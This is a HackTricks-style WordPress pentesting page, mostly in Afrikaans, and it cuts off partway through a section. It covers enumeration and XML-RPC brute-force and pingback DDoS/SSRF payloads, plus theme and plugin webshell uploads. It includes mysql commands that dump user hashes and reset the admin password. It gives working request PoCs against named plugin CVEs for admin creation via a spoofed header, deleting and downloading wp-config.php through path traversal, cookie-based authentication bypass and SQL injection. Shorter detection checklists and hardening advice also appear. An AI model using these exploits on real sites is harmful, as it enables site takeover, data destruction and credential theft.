Wordpress

Reading time: 34 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

  • Uploaded lĂȘers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • In wp-config.php kan jy die root-wagwoord van die databasis vind.

  • Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt bevat nuttige inligting soos die WordPress weergawe wat geĂŻnstalleer is.
  • wp-activate.php word gebruik vir die e-pos-aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is 'n lĂȘer wat 'n funksie van WordPress voorstel wat toelaat dat data gestuur word met HTTP as die vervoermeganisme en XML as die enkoderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.
  • Die wp-content gids is die hoofgids waar plugins en temas gestoor word.
  • wp-content/uploads/ is die gids waar enige lĂȘers wat na die platform opgelaai is gestoor word.
  • wp-includes/ is die gids waar kernlĂȘers gestoor word, soos sertifikate, lettertipes, JavaScript-lĂȘers, en widgets.
  • wp-sitemap.xml In WordPress weergawes 5.5 en later genereer WordPress 'n sitemap XML-lĂȘer met alle publieke plasings en publiek navraagbare plasingsoorte en taksonomieĂ«.

Post exploitation

  • Die wp-config.php lĂȘer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, verifikasiesleutels en -soute, en die databasis-tafelvoorvoegsel. Hierdie konfigurasielĂȘer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing.

Gebruikerstoestemmings

  • Administrator
  • Editor: Publiseer en bestuur sy eie en ander se plasings
  • Author: Publiseer en bestuur sy eie plasings
  • Contributor: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
  • Subscriber: Blaai deur plasings en wysig hul profiel

Passive Enumeration

Get WordPress version

Kyk of jy die lĂȘers /license.txt of /readme.html kan vind

Inside the source code of the page (example from https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link-lĂȘers

  • JavaScript-lĂȘers

Kry Inproppe

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kry temas

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Onttrek weergawes in die algemeen

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktiewe enumerasie

Plugins and Themes

Jy sal waarskynlik nie in staat wees om al die Plugins en Themes te vind nie. Om almal te ontdek, sal jy actively Brute Force a list of Plugins and Themes moet uitvoer (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat).

Gebruikers

  • ID Brute: Jy kry geldige gebruikers van 'n WordPress site deur Brute Forcing users IDs:
bash
curl -s -I -X GET http://blog.example.com/?author=1

As die antwoorde 200 of 30X is, beteken dit dat die id geldig is. As die antwoord 400 is, dan is die id ongeldig.

  • wp-json: Jy kan ook probeer om inligting oor die gebruikers te kry deur te query:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Nog 'n /wp-json/ endpoint wat sommige inligting oor users kan openbaar is:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n post gemaak het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het sal voorsien word.

Neem ook kennis dat /wp-json/wp/v2/pages IP-adresse kan leak.

  • Login username enumeration: Wanneer aan te meld by /wp-login.php is die boodskap verskillend, wat aandui of die username bestaan of nie.

XML-RPC

As xml-rpc.php aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer deur hierdie te gebruik).

Om te sien of dit aktief is, probeer toegang tot /xmlrpc.php kry en stuur hierdie versoek:

Kontroleer

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Aanmeldbewyse Bruteforce

wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is 'n paar van die metodes wat gebruik kan word om aanmeldbewyse te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die boodskap "Incorrect username or password" binne 'n 200 code response moet verskyn as die credentials nie geldig is nie.

Deur die regte credentials te gebruik kan jy 'n lĂȘer oplaai. In die response sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Daar is ook 'n vinnigere manier om inlogbesonderhede te brute-force gebruikende system.multicall, aangesien jy verskeie inlogbesonderhede in dieselfde versoek kan probeer:

Omseil 2FA

Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige inlogbesonderhede het maar die hooftoegang is beskerm deur 2FA, mag jy xmlrpc.php misbruik om met daardie inlogbesonderhede in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies wat jy deur die konsol kan doen sal kan uitvoer nie, maar jy kan steeds tot RCE raak soos Ippsec verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS of port scanning

As jy die metode pingback.ping binne die lys kan vind, kan jy Wordpress laat 'n ewekansige versoek na enige host/poort stuur.
Dit kan gebruik word om duisende Wordpress sites te vra om een lokasie te access (sodat 'n DDoS by daardie lokasie veroorsaak word) of jy kan dit gebruik om Wordpress 'n interne network te laat scan (jy kan enige poort aandui).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode kry met 'n waarde groter as 0 (17), beteken dit die poort is oop.

Kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hierdie lĂȘer bestaan gewoonlik in die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lĂȘer geopen word, word 'n "sware" MySQL query uitgevoer, dus kan dit deur attackers gebruik word om 'n DoS te veroorsaak.
Verder word standaard die wp-cron.php by elke bladsy-laai aangeroep (enige keer 'n kliënt enige Wordpress-bladsy versoek), wat op webwerwe met hoë verkeer probleme (DoS) kan veroorsaak.

Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob op die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).

/wp-json/oembed/1.0/proxy - SSRF

Probeer om toegang te kry tot https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net en die Wordpress-webwerf mag 'n versoek na jou stuur.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Hierdie tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.

Outomatiese Gereedskap

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Kry toegang deur 'n bit oor te skryf

Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lĂȘer omdraai. Dus kon jy die posisie 5389 van die lĂȘer /var/www/html/wp-includes/user.php omdraai om die NOT (!) operasie te NOP.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Wysig 'n php-lĂȘer van die gebruikte theme (admin credentials nodig)

Appearance → Theme Editor → 404 Template (aan die regterkant)

Verander die inhoud na 'n php shell:

Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Jy kan gebruik:

bash
use exploit/unix/webapp/wp_admin_shell_upload

om 'n session te kry.

Plugin RCE

PHP plugin

Dit kan moontlik wees om .php-lĂȘers as 'n plugin op te laai.
Skep jou php backdoor byvoorbeeld soos:

Voeg dan 'n nuwe plugin by:

Laai die plugin op en druk Install Now:

Klik op Procced:

Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai:

Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:

Uploading and activating malicious plugin

Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg:

  1. Plugin Acquisition: Die plugin word verkry van 'n bron soos Exploit DB, byvoorbeeld here.
  2. Plugin Installation:
  • Navigeer na die WordPress dashboard, dan gaan na Dashboard > Plugins > Upload Plugin.
  • Laai die zip-lĂȘer van die afgelaaide plugin op.
  1. Plugin Activation: Sodra die plugin suksesvol geĂŻnstalleer is, moet dit deur die dashboard geaktiveer word.
  2. Exploitation:
  • Met die plugin "reflex-gallery" geĂŻnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
  • Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die webwerf gee.
  • Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf uit te buit.

Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard vir die installering en aktivering van die plugin uitbeeld. Dit is egter belangrik om te noem dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos pentesting met uitdruklike toestemming.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

Van XSS na RCE

  • WPXStrike: WPXStrike is 'n script ontwerp om 'n Cross-Site Scripting (XSS) kwetsbaarheid op te skaal na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien this post. Dit bied support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Skep 'n gebruiker in WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Laai jou custom plugin (backdoor) na WordPress op.
  • (RCE) Built-In Plugin Edit: Wysig 'n Built-In Plugin in WordPress.
  • (RCE) Built-In Theme Edit: Wysig 'n Built-In Theme in WordPress.
  • (Custom) Custom Exploits: Custom Exploits vir derdeparty WordPress plugins/themes.

Post Exploitation

Haal gebruikersname en wagwoorde uit:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Verander admin-wagwoord:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in this blog post.

  • wp_ajax

Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel is via AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Verder gebeur dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n wordpress nonce wat enige gebruiker wat in die Wordpress instance geauthentiseer is mag hĂȘ (onafhanklik van hul rol).

Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Die gebruik van nopriv maak die endpoint toeganklik vir enige gebruikers (selfs nie-geauthentiseerde gebruikers).

caution

Daarbenewens, as die funksie slegs die autorisasie van die gebruiker nagaan met die funksie wp_verify_nonce, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan lae-geprivilegieerde gebruikers toegang hĂȘ tot hoog-geprivilegieerde aksies.

  • REST API

Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Die permission_callback is 'n callback-funksie wat kontroleer of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.

As die ingeboude __return_true funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.

  • Direkte toegang tot die PHP-lĂȘer

Natuurlik gebruik Wordpress PHP en lĂȘers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lĂȘer getrigger word, sal dit deur enige gebruiker uitgebuit kan word.

Trusted-header REST impersonation (WooCommerce Payments ≀ 5.6.1)

Sommige plugins implementeer “trusted header”-kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en gemagtigde REST-roetes as 'n administrator bereik.

  • Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (dwing gebruiker-ID 1 af, tipies die eerste administrateurrekening).
  • Exploited route: POST /wp-json/wp/v2/users with an elevated role array.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Waarom dit werk

  • Die plugin map ’n client-controlled header na authentication state en slaan capability checks oor.
  • WordPress core verwag create_users capability vir hierdie roete; die plugin hack omseil dit deur die current user context direk vanaf die header te stel.

Verwagte sukses-aanwysers

  • HTTP 201 met ’n JSON-body wat die geskepte gebruiker beskryf.
  • ’n nuwe admin gebruiker sigbaar in wp-admin/users.php.

Opsporingskontrolelys

  • Grep vir getallheaders(), $_SERVER['HTTP_...'], of vendor SDKs wat custom headers lees om user context te stel (bv. wp_set_current_user(), wp_set_auth_cookie()).
  • Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste permission_callback kontroles het nie en eerder op request headers staatmaak.
  • Soek na gebruike van core user-management funksies (wp_insert_user, wp_create_user) binne REST handlers wat slegs deur header-waardes beperk word.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress temas en plugins maak gereeld AJAX handlers beskikbaar deur die wp_ajax_ en wp_ajax_nopriv_ hooks. Wanneer die nopriv variant gebruik word word die callback deur nie-geauthentiseerde besoekers bereikbaar, dus moet enige sensitiewe aksie bykomend die volgende implementeer:

  1. ’n capability check (bv. current_user_can() of ten minste is_user_logged_in()), en
  2. ’n CSRF nonce gevalideer met check_ajax_referer() / wp_verify_nonce(), en
  3. Streng invoer-sanitisasie / validasie.

Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die Remove Font Family funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) meegestuur:

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Probleme wat deur hierdie kodefragment veroorsaak word:

  • Ongeverifieerde toegang – die wp_ajax_nopriv_ hook is geregistreer.
  • Geen nonce / capability check – enige besoeker kan die endpoint aanroep.
  • Geen pad-sanitisasie – die gebruikersbeheerde fontfamily string word aan 'n lĂȘerstelselpad gekonkateneer sonder filtrering, wat klassieke ../../ traversal toelaat.

Exploitation

'n aanvaller kan enige lĂȘer of gids onder die uploads base directory (gewoonlik <wp-root>/wp-content/uploads/) uitvee deur 'n enkele HTTP POST versoek te stuur:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Omdat wp-config.php buite uploads lĂȘ, is vier ../ reekse genoeg op 'n standaard installasie. Deleting wp-config.php dwing WordPress by die volgende besoek in die installasie-wizard, wat 'n volledige site take-over moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).

Ander impakvolle teikens sluit plugin/theme .php-lĂȘers (om sekuriteits-plugins te breek) of .htaccess reĂ«ls in.

Opsporingskontrollys

  • Enige add_action( 'wp_ajax_nopriv_...') callback wat filesystem helpers oproep (copy(), unlink(), $wp_filesystem->delete(), ens.).
  • Samevoeging van nie-gefiltreerde gebruikersinsette in paaie (kyk vir $_POST, $_GET, $_REQUEST).
  • Afwesigheid van check_ajax_referer() en current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Baie plugins implementeer 'n "view as role" of tydelike rolwissel-funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. $_REQUEST['reset-for']) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te verifieer, word dit 'n vertical privilege escalation.

'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≀ 7.6.2.1). Die reset-branch herstel rolle gebaseer op reset-for=<username> as die gebruikersnaam in 'n interne array $options['viewing_admin_as_role_are'] verskyn het, maar het nie 'n current_user_can() kontrole uitgevoer nie en ook nie 'n nonce-verifikasie gedoen voordat die huidige rolle verwyder en die gestoor rolle uit user meta _asenha_view_admin_as_original_roles weer bygevoeg is:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Hoekom dit uitbuitbaar is

  • Vertrou $_REQUEST['reset-for'] en 'n plugin-opsie sonder magtiging aan die bedienerzijde.
  • As 'n gebruiker voorheen hoĂ«r voorregte gehad het wat in _asenha_view_admin_as_original_roles gestoor is en afgradeer is, kan hulle dit herstel deur die reset-pad te gebruik.
  • In sommige ontplooiings kan enige geverifieerde gebruiker 'n reset veroorsaak vir 'n ander gebruikersnaam wat nog in viewing_admin_as_role_are teenwoordig is (gebreekte magtiging).

Uitbuiting (voorbeeld)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle (bv. administrator) weer by, wat effektief privilegieë eskaleer.

Opsporingskontrolelys

  • Kyk na rol-wissel funksies wat "original roles" in user meta behou (bv. _asenha_view_admin_as_original_roles).
  • Identifiseer reset/restore-paaie wat:
  • Lees gebruikersname uit $_REQUEST / $_GET / $_POST.
  • Wysig rolle via add_role() / remove_role() sonder current_user_can() en wp_verify_nonce() / check_admin_referer().
  • Machtig gebaseer op 'n plugin-opsie-array (bv. viewing_admin_as_role_are) in plaas van die akteur se bevoegdhede.

Ongeauthentiseerde privilegie-eskalering via koekie‑vertroude gebruikerswisseling op openbare init (Service Finder “sf-booking”)

Sommige plugins koppel hulpfunksies vir gebruikerswisseling aan die openbare init hook en bepaal identiteit uit 'n kliënt-beheerde koekie. As die kode wp_set_auth_cookie() aanroep sonder om authentisering, bevoegdhede en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om in te teken as 'n ewekansige gebruikers-ID.

Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≀ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // đŸ”„ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Waarom dit uitbuitbaar is

  • Publieke init hook maak die handler bereikbaar vir ongeauthentiseerde gebruikers (geen is_user_logged_in() kontrole).
  • Identiteit word afgelei van 'n deur die kliĂ«nt wysigbare cookie (original_user_id).
  • Direkte oproep na wp_set_auth_cookie($uid) meld die versoeker aan as daardie gebruiker sonder enige capability/nonce kontroles.

Exploitation (unauthenticated)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF-oorwegings vir WordPress/plugin CVEs

Generiese edge/server WAFs is gekalibreer vir breĂ« patrone (SQLi, XSS, LFI). Baie hoë‑impak WordPress/plugin‑foute is aansoek‑spesifieke logika/auth‑bugs wat soos onskuldige verkeer lyk tensy die engine WordPress‑roetes en plugin‑semantiek verstaan.

Offensiewe notas

  • Teiken plugin‑spesifieke eindpunte met skoon payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Gebruik eers unauth‑pade (AJAX nopriv, REST met permissiewe permission_callback, publieke shortcodes). Standaard payloads slaag dikwels sonder obfuskasie.
  • Tipiese hoë‑impak gevalle: privilege escalation (broken access control), arbitĂȘre lĂȘer‑upload/download, LFI, open redirect.

Verdedigende notas

  • Moet nie staatmaak op generiese WAF‑handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheid‑spesifieke virtuele pleisters of werk vinnig op.
  • Verkies positive‑security kontroles in kode (capabilities, nonces, streng invoer‑validasie) bo negatiewe regex‑filters.

WordPress-beskerming

Gereelde opdaterings

Maak seker WordPress, plugins en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Installeer ook slegs betroubare WordPress-plugins en -themes.

Sekuriteits-plugins

Ander Aanbevelings

  • Verwyder die standaard admin gebruiker
  • Gebruik sterk wagwoorde en 2FA
  • Hersien periodiek gebruikers se permissions
  • Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
  • Hernoem die wp-admin.php lĂȘer en laat slegs toegang toe vanaf interne netwerke of van sekere IP-adresse.

Nie-geauthentiseerde SQL Injection as gevolg van onvoldoende validering (WP Job Portal <= 2.3.2)

Die WP Job Portal recruitment plugin het 'n savecategory taak blootgestel wat uiteindelik die volgende kwesbare kode binne modules/category/model.php::validateFormData() uitvoer:

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Probleme wat deur hierdie snipet geskep word:

  1. Ongefiltreerde gebruikersinvoer – parentid kom direk uit die HTTP-versoek.
  2. String-samevoeging binne die WHERE-clausule – geen is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – alhoewel die aksie uitgevoer word deur admin-post.php, is die enigste kontrole in plek 'n CSRF nonce (wp_verify_nonce()), wat enige besoeker kan bekom vanaf 'n openbare bladsy wat die shortcode [wpjobportal_my_resumes] insluit.

Exploitation

  1. Haal 'n vars nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inject arbitrary SQL by abusing parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Die reaksie openbaar die resultaat van die ingespuite navraag of verander die databasis, wat SQLi bewys.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Nog 'n taak, downloadcustomfile, het besoekers toegelaat om enige lĂȘer op die skyf af te laai via path traversal. Die kwesbare sink is geleĂ« in modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name is deur 'n aanvaller beheer en aaneengekoppel sonder sanitisering. Weereens is die enigste hek 'n CSRF nonce wat vanaf die CV-bladsy verkry kan word.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Die bediener reageer met die inhoud van wp-config.php, leaking DB credentials and auth keys.

Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Baie themes/plugins lewer "social login" helpers wat via admin-ajax.php blootgestel word. As an unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit 'n full authentication bypass.

Tipiese foutiewe patroon (vereenvoudigde weergawe)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // đŸ”„ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Waarom dit uitbuitbaar is

  • Nie-geauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_
 action).
  • Geen nonce/capability kontroles voordat ’n staat verander word.
  • Geen OAuth/OpenID provider verifikasie; die default branch aanvaar attacker-invoer.
  • get_user_by('email', $_POST['id']) gevolg deur wp_set_auth_cookie($uid) authentiseer die versoeker as enige bestaande e-posadres.

Exploitation (unauthenticated)
